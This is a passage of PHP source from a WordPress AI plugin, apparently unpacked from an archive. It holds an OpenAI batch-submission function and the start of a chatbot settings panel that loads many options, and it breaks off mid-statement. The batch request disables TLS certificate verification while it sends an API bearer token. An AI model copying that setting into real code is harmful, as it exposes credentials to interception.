CURLOPT_CUSTOMREQUEST, 'POST'); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception("cURL error: " . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP request failed with code (batch id: ' . $batch_id . ') " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); $decodedResponse = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { throw new Exception('Failed to decode JSON response'); } return $decodedResponse; } function aiomatic_openai_save_batch($token, $aiomatic_batch_file, $aiomatic_completion_window, $aiomatic_endpoint, $metadata = null) { if (empty($metadata)) { $metadata = new stdClass(); } $url = 'https://api.openai.com/v1/batches'; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token ]; if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'input_file_id' => $aiomatic_batch_file, 'endpoint' => $aiomatic_endpoint, 'completion_window' => $aiomatic_completion_window, 'metadata' => $metadata ]; $ch = curl_init($url); if($ch === false) { throw new Exception('Failed to init curl'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if($response === false) { curl_close($ch); if (curl_errno($ch)) { throw new Exception(curl_error($ch)); } throw new Exception('Failed to exec curl, unknown issue.'); } $jsdec = json_decode($response, true); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { curl_close($ch); throw new Exception("Response with Status Code: " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return $jsdec; } ?>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-chatbot.php����������������������������������������������������������������������������0000644�����������������00001763353�14757771437�0011326 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_chat_settings_updated($old_value, $value, $option) { if (array_key_exists('remote_chat', $value) && (!isset($old_value['remote_chat']) || $value['remote_chat'] !== $old_value['remote_chat'])) { $myop = get_option('aiomatic_chat_page_id', false); if($myop !== false) { if(is_numeric($myop)) { $myop = array($myop); } $changedone = false; foreach($myop as $mind => $marr) { $tp = get_post($marr); if($tp === null) { unset($myop[$mind]); $changedone = true; } } if($changedone == true) { update_option('aiomatic_chat_page_id', $myop); } if (!isset($value['remote_chat']) || trim($value['remote_chat']) != 'on') { foreach($myop as $mind => $marr) { wp_delete_post($marr, true); delete_option('aiomatic_chat_page_id'); } } } } else { if(!isset($value['remote_chat'])) { $myop = get_option('aiomatic_chat_page_id', false); if($myop !== false) { if(is_numeric($myop)) { $myop = array($myop); } foreach($myop as $mind => $marr) { wp_delete_post($marr, true); delete_option('aiomatic_chat_page_id'); } } } } } add_action('update_option_aiomatic_Chatbot_Settings', 'aiomatic_chat_settings_updated', 10, 3); function aiomatic_chatbot_panel() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (isset($aiomatic_Chatbot_Settings['font_size'])) { $font_size = $aiomatic_Chatbot_Settings['font_size']; } else { $font_size = ''; } if (isset($aiomatic_Chatbot_Settings['show_header'])) { $show_header = $aiomatic_Chatbot_Settings['show_header']; } else { $show_header = ''; } if (isset($aiomatic_Chatbot_Settings['bubble_width'])) { $bubble_width = $aiomatic_Chatbot_Settings['bubble_width']; } else { $bubble_width = ''; } if (isset($aiomatic_Chatbot_Settings['bubble_alignment'])) { $bubble_alignment = $aiomatic_Chatbot_Settings['bubble_alignment']; } else { $bubble_alignment = ''; } if (isset($aiomatic_Chatbot_Settings['bubble_user_alignment'])) { $bubble_user_alignment = $aiomatic_Chatbot_Settings['bubble_user_alignment']; } else { $bubble_user_alignment = ''; } if (isset($aiomatic_Chatbot_Settings['show_ai_avatar'])) { $show_ai_avatar = $aiomatic_Chatbot_Settings['show_ai_avatar']; } else { $show_ai_avatar = 'show'; } if (isset($aiomatic_Chatbot_Settings['show_user_avatar'])) { $show_user_avatar = $aiomatic_Chatbot_Settings['show_user_avatar']; } else { $show_user_avatar = 'show'; } if (isset($aiomatic_Chatbot_Settings['user_account_avatar'])) { $user_account_avatar = $aiomatic_Chatbot_Settings['user_account_avatar']; } else { $user_account_avatar = ''; } if (isset($aiomatic_Chatbot_Settings['chat_theme'])) { $chat_theme = $aiomatic_Chatbot_Settings['chat_theme']; } else { $chat_theme = ''; } if (isset($aiomatic_Chatbot_Settings['show_dltxt'])) { $show_dltxt = $aiomatic_Chatbot_Settings['show_dltxt']; } else { $show_dltxt = ''; } if (isset($aiomatic_Chatbot_Settings['show_mute'])) { $show_mute = $aiomatic_Chatbot_Settings['show_mute']; } else { $show_mute = ''; } if (isset($aiomatic_Chatbot_Settings['show_internet'])) { $show_internet = $aiomatic_Chatbot_Settings['show_internet']; } else { $show_internet = ''; } if (isset($aiomatic_Chatbot_Settings['show_clear'])) { $show_clear = $aiomatic_Chatbot_Settings['show_clear']; } else { $show_clear = ''; } if (isset($aiomatic_Chatbot_Settings['voice_language'])) { $voice_language = $aiomatic_Chatbot_Settings['voice_language']; } else { $voice_language = 'en-US'; } if (isset($aiomatic_Chatbot_Settings['did_image'])) { $did_image = $aiomatic_Chatbot_Settings['did_image']; } else { $did_image = 'https://create-images-results.d-id.com/api_docs/assets/noelle.jpeg'; } if (isset($aiomatic_Chatbot_Settings['did_height'])) { $did_height = $aiomatic_Chatbot_Settings['did_height']; } else { $did_height = '300'; } if (isset($aiomatic_Chatbot_Settings['did_width'])) { $did_width = $aiomatic_Chatbot_Settings['did_width']; } else { $did_width = '300'; } if (isset($aiomatic_Chatbot_Settings['did_voice'])) { $did_voice = $aiomatic_Chatbot_Settings['did_voice']; } else { $did_voice = 'microsoft:en-US-JennyNeural:Cheerful'; } if (isset($aiomatic_Chatbot_Settings['google_voice'])) { $google_voice = $aiomatic_Chatbot_Settings['google_voice']; } else { $google_voice = 'en-US'; } if (isset($aiomatic_Chatbot_Settings['voice_pitch'])) { $voice_pitch = $aiomatic_Chatbot_Settings['voice_pitch']; } else { $voice_pitch = '0'; } if (isset($aiomatic_Chatbot_Settings['voice_speed'])) { $voice_speed = $aiomatic_Chatbot_Settings['voice_speed']; } else { $voice_speed = '1'; } if (isset($aiomatic_Chatbot_Settings['audio_profile'])) { $audio_profile = $aiomatic_Chatbot_Settings['audio_profile']; } else { $audio_profile = 'en-US'; } if (isset($aiomatic_Chatbot_Settings['chatbot_text_speech'])) { $chatbot_text_speech = $aiomatic_Chatbot_Settings['chatbot_text_speech']; } else { $chatbot_text_speech = ''; } if (isset($aiomatic_Chatbot_Settings['free_voice'])) { $free_voice = $aiomatic_Chatbot_Settings['free_voice']; } else { $free_voice = ''; } if (isset($aiomatic_Chatbot_Settings['eleven_voice'])) { $eleven_voice = $aiomatic_Chatbot_Settings['eleven_voice']; } else { $eleven_voice = ''; } if (isset($aiomatic_Chatbot_Settings['voice_similarity_boost'])) { $voice_similarity_boost = $aiomatic_Chatbot_Settings['voice_similarity_boost']; } else { $voice_similarity_boost = ''; } if (isset($aiomatic_Chatbot_Settings['voice_style'])) { $voice_style = $aiomatic_Chatbot_Settings['voice_style']; } else { $voice_style = ''; } if (isset($aiomatic_Chatbot_Settings['speaker_boost'])) { $speaker_boost = $aiomatic_Chatbot_Settings['speaker_boost']; } else { $speaker_boost = ''; } if (isset($aiomatic_Chatbot_Settings['open_model_id'])) { $open_model_id = $aiomatic_Chatbot_Settings['open_model_id']; } else { $open_model_id = ''; } if (isset($aiomatic_Chatbot_Settings['open_voice'])) { $open_voice = $aiomatic_Chatbot_Settings['open_voice']; } else { $open_voice = ''; } if (isset($aiomatic_Chatbot_Settings['open_format'])) { $open_format = $aiomatic_Chatbot_Settings['open_format']; } else { $open_format = ''; } if (isset($aiomatic_Chatbot_Settings['open_speed'])) { $open_speed = $aiomatic_Chatbot_Settings['open_speed']; } else { $open_speed = ''; } if (isset($aiomatic_Chatbot_Settings['voice_stability'])) { $voice_stability = $aiomatic_Chatbot_Settings['voice_stability']; } else { $voice_stability = ''; } if (isset($aiomatic_Chatbot_Settings['eleven_model_id'])) { $eleven_model_id = $aiomatic_Chatbot_Settings['eleven_model_id']; } else { $eleven_model_id = ''; } if (isset($aiomatic_Chatbot_Settings['eleven_voice_custom'])) { $eleven_voice_custom = $aiomatic_Chatbot_Settings['eleven_voice_custom']; } else { $eleven_voice_custom = ''; } if (isset($aiomatic_Chatbot_Settings['width'])) { $width = $aiomatic_Chatbot_Settings['width']; } else { $width = ''; } if (isset($aiomatic_Chatbot_Settings['height'])) { $height = $aiomatic_Chatbot_Settings['height']; } else { $height = ''; } if (isset($aiomatic_Chatbot_Settings['minheight'])) { $minheight = $aiomatic_Chatbot_Settings['minheight']; } else { $minheight = ''; } if (isset($aiomatic_Chatbot_Settings['custom_header'])) { $custom_header = $aiomatic_Chatbot_Settings['custom_header']; } else { $custom_header = ''; } if (isset($aiomatic_Chatbot_Settings['custom_footer'])) { $custom_footer = $aiomatic_Chatbot_Settings['custom_footer']; } else { $custom_footer = ''; } if (isset($aiomatic_Chatbot_Settings['custom_css'])) { $custom_css = $aiomatic_Chatbot_Settings['custom_css']; } else { $custom_css = ''; } if (isset($aiomatic_Chatbot_Settings['placeholder'])) { $placeholder = $aiomatic_Chatbot_Settings['placeholder']; } else { $placeholder = ''; } if (isset($aiomatic_Chatbot_Settings['submit'])) { $submit = $aiomatic_Chatbot_Settings['submit']; } else { $submit = ''; } if (isset($aiomatic_Chatbot_Settings['compliance'])) { $compliance = $aiomatic_Chatbot_Settings['compliance']; } else { $compliance = ''; } if (isset($aiomatic_Chatbot_Settings['select_prompt'])) { $select_prompt = $aiomatic_Chatbot_Settings['select_prompt']; } else { $select_prompt = ''; } if (isset($aiomatic_Chatbot_Settings['upload_pdf'])) { $upload_pdf = $aiomatic_Chatbot_Settings['upload_pdf']; } else { $upload_pdf = ''; } if (isset($aiomatic_Chatbot_Settings['pdf_page'])) { $pdf_page = $aiomatic_Chatbot_Settings['pdf_page']; } else { $pdf_page = ''; } if (isset($aiomatic_Chatbot_Settings['pdf_character'])) { $pdf_character = $aiomatic_Chatbot_Settings['pdf_character']; } else { $pdf_character = ''; } if (isset($aiomatic_Chatbot_Settings['pdf_ok'])) { $pdf_ok = $aiomatic_Chatbot_Settings['pdf_ok']; } else { $pdf_ok = ''; } if (isset($aiomatic_Chatbot_Settings['pdf_end'])) { $pdf_end = $aiomatic_Chatbot_Settings['pdf_end']; } else { $pdf_end = ''; } if (isset($aiomatic_Chatbot_Settings['pdf_fail'])) { $pdf_fail = $aiomatic_Chatbot_Settings['pdf_fail']; } else { $pdf_fail = ''; } if (isset($aiomatic_Chatbot_Settings['file_expiration_pdf'])) { $file_expiration_pdf = $aiomatic_Chatbot_Settings['file_expiration_pdf']; } else { $file_expiration_pdf = ''; } if (isset($aiomatic_Chatbot_Settings['background'])) { $background = $aiomatic_Chatbot_Settings['background']; } else { $background = '#f7f7f9'; } if (isset($aiomatic_Chatbot_Settings['general_background'])) { $general_background = $aiomatic_Chatbot_Settings['general_background']; } else { $general_background = '#ffffff'; } if (isset($aiomatic_Chatbot_Settings['user_font_color'])) { $user_font_color = $aiomatic_Chatbot_Settings['user_font_color']; } else { $user_font_color = 'white'; } if (isset($aiomatic_Chatbot_Settings['user_background_color'])) { $user_background_color = $aiomatic_Chatbot_Settings['user_background_color']; } else { $user_background_color = '#0084ff'; } if (isset($aiomatic_Chatbot_Settings['ai_font_color'])) { $ai_font_color = $aiomatic_Chatbot_Settings['ai_font_color']; } else { $ai_font_color = 'black'; } if (isset($aiomatic_Chatbot_Settings['ai_background_color'])) { $ai_background_color = $aiomatic_Chatbot_Settings['ai_background_color']; } else { $ai_background_color = '#f0f0f0'; } if (isset($aiomatic_Chatbot_Settings['input_border_color'])) { $input_border_color = $aiomatic_Chatbot_Settings['input_border_color']; } else { $input_border_color = '#e1e3e6'; } if (isset($aiomatic_Chatbot_Settings['input_text_color'])) { $input_text_color = $aiomatic_Chatbot_Settings['input_text_color']; } else { $input_text_color = '#000000'; } if (isset($aiomatic_Chatbot_Settings['persona_name_color'])) { $persona_name_color = $aiomatic_Chatbot_Settings['persona_name_color']; } else { $persona_name_color = '#3c434a'; } if (isset($aiomatic_Chatbot_Settings['persona_role_color'])) { $persona_role_color = $aiomatic_Chatbot_Settings['persona_role_color']; } else { $persona_role_color = '#728096'; } if (isset($aiomatic_Chatbot_Settings['input_placeholder_color'])) { $input_placeholder_color = $aiomatic_Chatbot_Settings['input_placeholder_color']; } else { $input_placeholder_color = '#333333'; } if (isset($aiomatic_Chatbot_Settings['submit_color'])) { $submit_color = $aiomatic_Chatbot_Settings['submit_color']; } else { $submit_color = '#55a7e2'; } if (isset($aiomatic_Chatbot_Settings['voice_color'])) { $voice_color = $aiomatic_Chatbot_Settings['voice_color']; } else { $voice_color = '#55a7e2'; } if (isset($aiomatic_Chatbot_Settings['voice_color_activated'])) { $voice_color_activated = $aiomatic_Chatbot_Settings['voice_color_activated']; } else { $voice_color_activated = '#55a7e2'; } if (isset($aiomatic_Chatbot_Settings['submit_text_color'])) { $submit_text_color = $aiomatic_Chatbot_Settings['submit_text_color']; } else { $submit_text_color = '#ffffff'; } if (isset($aiomatic_Chatbot_Settings['enable_moderation'])) { $enable_moderation = $aiomatic_Chatbot_Settings['enable_moderation']; } else { $enable_moderation = ''; } if (isset($aiomatic_Chatbot_Settings['moderation_model'])) { $moderation_model = $aiomatic_Chatbot_Settings['moderation_model']; } else { $moderation_model = ''; } if (isset($aiomatic_Chatbot_Settings['flagged_message'])) { $flagged_message = $aiomatic_Chatbot_Settings['flagged_message']; } else { $flagged_message = ''; } if (isset($aiomatic_Chatbot_Settings['enable_copy'])) { $enable_copy = $aiomatic_Chatbot_Settings['enable_copy']; } else { $enable_copy = ''; } if (isset($aiomatic_Chatbot_Settings['enable_html'])) { $enable_html = $aiomatic_Chatbot_Settings['enable_html']; } else { $enable_html = ''; } if (isset($aiomatic_Chatbot_Settings['disable_modern_chat'])) { $disable_modern_chat = $aiomatic_Chatbot_Settings['disable_modern_chat']; } else { $disable_modern_chat = ''; } if (isset($aiomatic_Chatbot_Settings['allow_stream_stop'])) { $allow_stream_stop = $aiomatic_Chatbot_Settings['allow_stream_stop']; } else { $allow_stream_stop = ''; } if (isset($aiomatic_Chatbot_Settings['strip_js'])) { $strip_js = $aiomatic_Chatbot_Settings['strip_js']; } else { $strip_js = ''; } if (isset($aiomatic_Chatbot_Settings['scroll_bot'])) { $scroll_bot = $aiomatic_Chatbot_Settings['scroll_bot']; } else { $scroll_bot = ''; } if (isset($aiomatic_Chatbot_Settings['send_message_sound'])) { $send_message_sound = $aiomatic_Chatbot_Settings['send_message_sound']; } else { $send_message_sound = ''; } if (isset($aiomatic_Chatbot_Settings['receive_message_sound'])) { $receive_message_sound = $aiomatic_Chatbot_Settings['receive_message_sound']; } else { $receive_message_sound = ''; } if (isset($aiomatic_Chatbot_Settings['response_delay'])) { $response_delay = $aiomatic_Chatbot_Settings['response_delay']; } else { $response_delay = ''; } if (isset($aiomatic_Chatbot_Settings['instant_response'])) { $instant_response = $aiomatic_Chatbot_Settings['instant_response']; } else { $instant_response = ''; } if (isset($aiomatic_Chatbot_Settings['voice_input'])) { $voice_input = $aiomatic_Chatbot_Settings['voice_input']; } else { $voice_input = ''; } if (isset($aiomatic_Chatbot_Settings['auto_submit_voice'])) { $auto_submit_voice = $aiomatic_Chatbot_Settings['auto_submit_voice']; } else { $auto_submit_voice = ''; } if (isset($aiomatic_Chatbot_Settings['chat_download_format'])) { $chat_download_format = $aiomatic_Chatbot_Settings['chat_download_format']; } else { $chat_download_format = ''; } if (isset($aiomatic_Chatbot_Settings['chat_preppend_text'])) { $chat_preppend_text = $aiomatic_Chatbot_Settings['chat_preppend_text']; } else { $chat_preppend_text = ''; } if (isset($aiomatic_Chatbot_Settings['user_message_preppend'])) { $user_message_preppend = $aiomatic_Chatbot_Settings['user_message_preppend']; } else { $user_message_preppend = ''; } if (isset($aiomatic_Chatbot_Settings['ai_message_preppend'])) { $ai_message_preppend = $aiomatic_Chatbot_Settings['ai_message_preppend']; } else { $ai_message_preppend = ''; } if (isset($aiomatic_Chatbot_Settings['ai_role'])) { $ai_role = $aiomatic_Chatbot_Settings['ai_role']; } else { $ai_role = ''; } if (isset($aiomatic_Chatbot_Settings['ai_first_message'])) { $ai_first_message = $aiomatic_Chatbot_Settings['ai_first_message']; } else { $ai_first_message = ''; } if (isset($aiomatic_Chatbot_Settings['ai_avatar'])) { $ai_avatar = $aiomatic_Chatbot_Settings['ai_avatar']; } else { $ai_avatar = ''; } if (isset($aiomatic_Chatbot_Settings['user_avatar'])) { $user_avatar = $aiomatic_Chatbot_Settings['user_avatar']; } else { $user_avatar = ''; } if (isset($aiomatic_Chatbot_Settings['chat_mode'])) { $chat_mode = $aiomatic_Chatbot_Settings['chat_mode']; } else { $chat_mode = ''; } if (isset($aiomatic_Chatbot_Settings['chat_model'])) { $chat_model = $aiomatic_Chatbot_Settings['chat_model']; } else { $chat_model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Chatbot_Settings['assistant_id'])) { $assistant_id = $aiomatic_Chatbot_Settings['assistant_id']; } else { $assistant_id = ''; } if (isset($aiomatic_Chatbot_Settings['enable_vision'])) { $enable_vision = $aiomatic_Chatbot_Settings['enable_vision']; } else { $enable_vision = 'off'; } if (isset($aiomatic_Chatbot_Settings['enable_file_uploads'])) { $enable_file_uploads = $aiomatic_Chatbot_Settings['enable_file_uploads']; } else { $enable_file_uploads = 'off'; } if (isset($aiomatic_Chatbot_Settings['persistent'])) { $persistent = $aiomatic_Chatbot_Settings['persistent']; } else { $persistent = ''; } if (isset($aiomatic_Chatbot_Settings['persistent_guests'])) { $persistent_guests = $aiomatic_Chatbot_Settings['persistent_guests']; } else { $persistent_guests = ''; } if (isset($aiomatic_Chatbot_Settings['prompt_templates'])) { $prompt_templates = $aiomatic_Chatbot_Settings['prompt_templates']; } else { $prompt_templates = ''; } if (isset($aiomatic_Chatbot_Settings['prompt_editable'])) { $prompt_editable = $aiomatic_Chatbot_Settings['prompt_editable']; } else { $prompt_editable = ''; } if (isset($aiomatic_Chatbot_Settings['file_expiration'])) { $file_expiration = $aiomatic_Chatbot_Settings['file_expiration']; } else { $file_expiration = ''; } if (isset($aiomatic_Chatbot_Settings['image_chat_size'])) { $image_chat_size = $aiomatic_Chatbot_Settings['image_chat_size']; } else { $image_chat_size = '512x512'; } if (isset($aiomatic_Chatbot_Settings['image_chat_model'])) { $image_chat_model = $aiomatic_Chatbot_Settings['image_chat_model']; } else { $image_chat_model = 'dalle2'; } if (isset($aiomatic_Chatbot_Settings['remote_chat'])) { $remote_chat = $aiomatic_Chatbot_Settings['remote_chat']; } else { $remote_chat = ''; } if (isset($aiomatic_Chatbot_Settings['allow_chatbot_site'])) { $allow_chatbot_site = $aiomatic_Chatbot_Settings['allow_chatbot_site']; } else { $allow_chatbot_site = ''; } if (isset($aiomatic_Chatbot_Settings['user_token_cap_per_day'])) { $user_token_cap_per_day = $aiomatic_Chatbot_Settings['user_token_cap_per_day']; } else { $user_token_cap_per_day = ''; } if (isset($aiomatic_Chatbot_Settings['god_whitelisted_functions'])) { $god_whitelisted_functions = $aiomatic_Chatbot_Settings['god_whitelisted_functions']; } else { $god_whitelisted_functions = ''; } if (isset($aiomatic_Chatbot_Settings['god_blacklisted_functions'])) { $god_blacklisted_functions = $aiomatic_Chatbot_Settings['god_blacklisted_functions']; } else { $god_blacklisted_functions = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_wp'])) { $god_mode_enable_wp = $aiomatic_Chatbot_Settings['god_mode_enable_wp']; } else { $god_mode_enable_wp = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_dalle'])) { $god_mode_enable_dalle = $aiomatic_Chatbot_Settings['god_mode_enable_dalle']; } else { $god_mode_enable_dalle = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_stable'])) { $god_mode_enable_stable = $aiomatic_Chatbot_Settings['god_mode_enable_stable']; } else { $god_mode_enable_stable = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_midjourney'])) { $god_mode_enable_midjourney = $aiomatic_Chatbot_Settings['god_mode_enable_midjourney']; } else { $god_mode_enable_midjourney = ''; } if (isset($aiomatic_Chatbot_Settings['ai_image_size_stable'])) { $ai_image_size_stable = $aiomatic_Chatbot_Settings['ai_image_size_stable']; } else { $ai_image_size_stable = ''; } if (isset($aiomatic_Chatbot_Settings['stable_model'])) { $stable_model = $aiomatic_Chatbot_Settings['stable_model']; } else { $stable_model = ''; } if (isset($aiomatic_Chatbot_Settings['ai_image_model'])) { $ai_image_model = $aiomatic_Chatbot_Settings['ai_image_model']; } else { $ai_image_model = ''; } if (isset($aiomatic_Chatbot_Settings['ai_image_size'])) { $ai_image_size = $aiomatic_Chatbot_Settings['ai_image_size']; } else { $ai_image_size = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_dalle_failed'])) { $god_mode_dalle_failed = $aiomatic_Chatbot_Settings['god_mode_dalle_failed']; } else { $god_mode_dalle_failed = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_stable_failed'])) { $god_mode_stable_failed = $aiomatic_Chatbot_Settings['god_mode_stable_failed']; } else { $god_mode_stable_failed = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_stable_video'])) { $god_mode_enable_stable_video = $aiomatic_Chatbot_Settings['god_mode_enable_stable_video']; } else { $god_mode_enable_stable_video = ''; } if (isset($aiomatic_Chatbot_Settings['ai_video_size_stable'])) { $ai_video_size_stable = $aiomatic_Chatbot_Settings['ai_video_size_stable']; } else { $ai_video_size_stable = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_amazon'])) { $god_mode_enable_amazon = $aiomatic_Chatbot_Settings['god_mode_enable_amazon']; } else { $god_mode_enable_amazon = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_amazon_details'])) { $god_mode_enable_amazon_details = $aiomatic_Chatbot_Settings['god_mode_enable_amazon_details']; } else { $god_mode_enable_amazon_details = ''; } if (isset($aiomatic_Chatbot_Settings['affiliate_id'])) { $affiliate_id = $aiomatic_Chatbot_Settings['affiliate_id']; } else { $affiliate_id = ''; } if (isset($aiomatic_Chatbot_Settings['target_country'])) { $target_country = $aiomatic_Chatbot_Settings['target_country']; } else { $target_country = ''; } if (isset($aiomatic_Chatbot_Settings['listing_template'])) { $listing_template = $aiomatic_Chatbot_Settings['listing_template']; } else { $listing_template = '%%product_counter%%. %%product_title%% - Desciption: %%product_description%% - Link: %%product_url%% - Price: %%product_price%%'; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_scraper'])) { $god_mode_enable_scraper = $aiomatic_Chatbot_Settings['god_mode_enable_scraper']; } else { $god_mode_enable_scraper = ''; } if (isset($aiomatic_Chatbot_Settings['scrape_method'])) { $scrape_method = $aiomatic_Chatbot_Settings['scrape_method']; } else { $scrape_method = '0'; } if (isset($aiomatic_Chatbot_Settings['strip_tags'])) { $strip_tags = $aiomatic_Chatbot_Settings['strip_tags']; } else { $strip_tags = '0'; } if (isset($aiomatic_Chatbot_Settings['max_chars'])) { $max_chars = $aiomatic_Chatbot_Settings['max_chars']; } else { $max_chars = '0'; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_rss'])) { $god_mode_enable_rss = $aiomatic_Chatbot_Settings['god_mode_enable_rss']; } else { $god_mode_enable_rss = ''; } if (isset($aiomatic_Chatbot_Settings['max_rss_items'])) { $max_rss_items = $aiomatic_Chatbot_Settings['max_rss_items']; } else { $max_rss_items = '5'; } if (isset($aiomatic_Chatbot_Settings['rss_template'])) { $rss_template = $aiomatic_Chatbot_Settings['rss_template']; } else { $rss_template = '[%%item_counter%%]: %%item_title%% - %%item_description%%'; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_google'])) { $god_mode_enable_google = $aiomatic_Chatbot_Settings['god_mode_enable_google']; } else { $god_mode_enable_google = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_youtube_captions'])) { $god_mode_enable_youtube_captions = $aiomatic_Chatbot_Settings['god_mode_enable_youtube_captions']; } else { $god_mode_enable_youtube_captions = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_email'])) { $god_mode_enable_email = $aiomatic_Chatbot_Settings['god_mode_enable_email']; } else { $god_mode_enable_email = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_webhook'])) { $god_mode_enable_webhook = $aiomatic_Chatbot_Settings['god_mode_enable_webhook']; } else { $god_mode_enable_webhook = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_facebook_post'])) { $god_mode_enable_facebook_post = $aiomatic_Chatbot_Settings['god_mode_enable_facebook_post']; } else { $god_mode_enable_facebook_post = ''; } if (isset($aiomatic_Chatbot_Settings['facebook_post_select'])) { $facebook_post_select = $aiomatic_Chatbot_Settings['facebook_post_select']; } else { $facebook_post_select = ''; } if (isset($aiomatic_Chatbot_Settings['max_caption_length'])) { $max_caption_length = $aiomatic_Chatbot_Settings['max_caption_length']; } else { $max_caption_length = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_royalty'])) { $god_mode_enable_royalty = $aiomatic_Chatbot_Settings['god_mode_enable_royalty']; } else { $god_mode_enable_royalty = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_youtube'])) { $god_mode_enable_youtube = $aiomatic_Chatbot_Settings['god_mode_enable_youtube']; } else { $god_mode_enable_youtube = ''; } if (isset($aiomatic_Chatbot_Settings['max_google_items'])) { $max_google_items = $aiomatic_Chatbot_Settings['max_google_items']; } else { $max_google_items = '5'; } if (isset($aiomatic_Chatbot_Settings['google_template'])) { $google_template = $aiomatic_Chatbot_Settings['google_template']; } else { $google_template = '[%%item_counter%%]: %%item_title%% - %%item_snippet%%'; } if (isset($aiomatic_Chatbot_Settings['sort_results'])) { $sort_results = $aiomatic_Chatbot_Settings['sort_results']; } else { $sort_results = 'none'; } if (isset($aiomatic_Chatbot_Settings['max_products'])) { $max_products = $aiomatic_Chatbot_Settings['max_products']; } else { $max_products = '3-4'; } if (isset($aiomatic_Chatbot_Settings['god_preview'])) { $god_preview = $aiomatic_Chatbot_Settings['god_preview']; } else { $god_preview = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_twitter_post'])) { $god_mode_enable_twitter_post = $aiomatic_Chatbot_Settings['god_mode_enable_twitter_post']; } else { $god_mode_enable_twitter_post = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_instagram_post'])) { $god_mode_enable_instagram_post = $aiomatic_Chatbot_Settings['god_mode_enable_instagram_post']; } else { $god_mode_enable_instagram_post = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_pinterest_post'])) { $god_mode_enable_pinterest_post = $aiomatic_Chatbot_Settings['god_mode_enable_pinterest_post']; } else { $god_mode_enable_pinterest_post = ''; } if (isset($aiomatic_Chatbot_Settings['pinterest_post_select'])) { $pinterest_post_select = $aiomatic_Chatbot_Settings['pinterest_post_select']; } else { $pinterest_post_select = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_google_post'])) { $god_mode_enable_google_post = $aiomatic_Chatbot_Settings['god_mode_enable_google_post']; } else { $god_mode_enable_google_post = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_youtube_post'])) { $god_mode_enable_youtube_post = $aiomatic_Chatbot_Settings['god_mode_enable_youtube_post']; } else { 